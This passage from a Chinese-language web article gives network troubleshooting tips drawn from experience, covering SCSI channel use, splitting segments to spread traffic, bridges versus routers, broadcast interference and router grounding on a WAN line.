·不要使低速SCSI設備(如CD)與硬盤共用同一SCSI通道。   4.網段與流量   某台服務器,有兩台文件讀寫極爲頻繁的工作站,當服務器只安裝一塊網卡,形成單獨網段時,這個網段上的所有設備反應都很慢,當服務器安裝了兩塊網卡,形成兩個網段以後,將這兩台文件讀寫極爲頻繁的工作站分別接在不同的網段上,網絡中所有設備的反應速度都有了顯著增加。這是因爲增加的網段分擔了原來較爲集中的數據流量,從而提高了網絡的反應速度。   5.橋接與路由   安裝一套微波聯網設備,上網調試時服務器上總是提示當前網段號應是對方的網段號。將服務器的網段號與對方改爲一致後,服務器的報警消失了。啊!原來這是一套具有橋接性質的設備。後來與另外一個地點安裝微波聯網設備,換用了其他一家廠商的産品,再連接,將兩邊的網段號改爲一致,可當裝上設備以後,服務器又出現了報警:當前路由錯誤。修改了一邊的網段以後,報警消失了。很明顯這是一套具有路由性質的設備。橋的特征是在同一網段上,而路由必須在不同網段上。   6.廣播幹擾   上述通過橋接設備聯網的兩端,分別有一套通過廣播發送信息的應用軟件。當它們同時運行時,兩邊的服務器均會發出報警:收到不完全的包。將一套應用軟件轉移到另外一個網段上以後,此報警消失。這是因爲網絡的廣播在同一網段上是沒有限制的。兩個廣播就産生了相互幹擾從而産生報警。而將一個應用軟件移到另外一個網段以後,就相當于把這個網段的廣播與另外網段上的廣播設置了路由,從而限制了廣播的幹擾,這也是路由器最重要的作用。   7.WAN與接地   無意將路由器的電源插頭插在了市電的插座上,結果64K DDN就是無法聯通。電信局來人檢查線路都很正常,最後檢查路由器電源的接地電壓,發現不對,換回到UPS的插座上,一切恢複正常。   路由器的電源插頭接地端壞掉,從而造成數據包經常丟失,做PING連接時,時好時壞。更換電源線後一切正常。WAN的連接因爲涉及到遠程線路,所以對于接地要求較爲嚴格,才能保證較強的抗幹擾性,達到規定的連接速率,不然會出現希奇的故障。
󰈣󰈤
王朝萬家燈火計劃
期待原創作者加盟
 
 
 
>>返回首頁<<
 
 
 
 
 
 熱帖排行
 
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有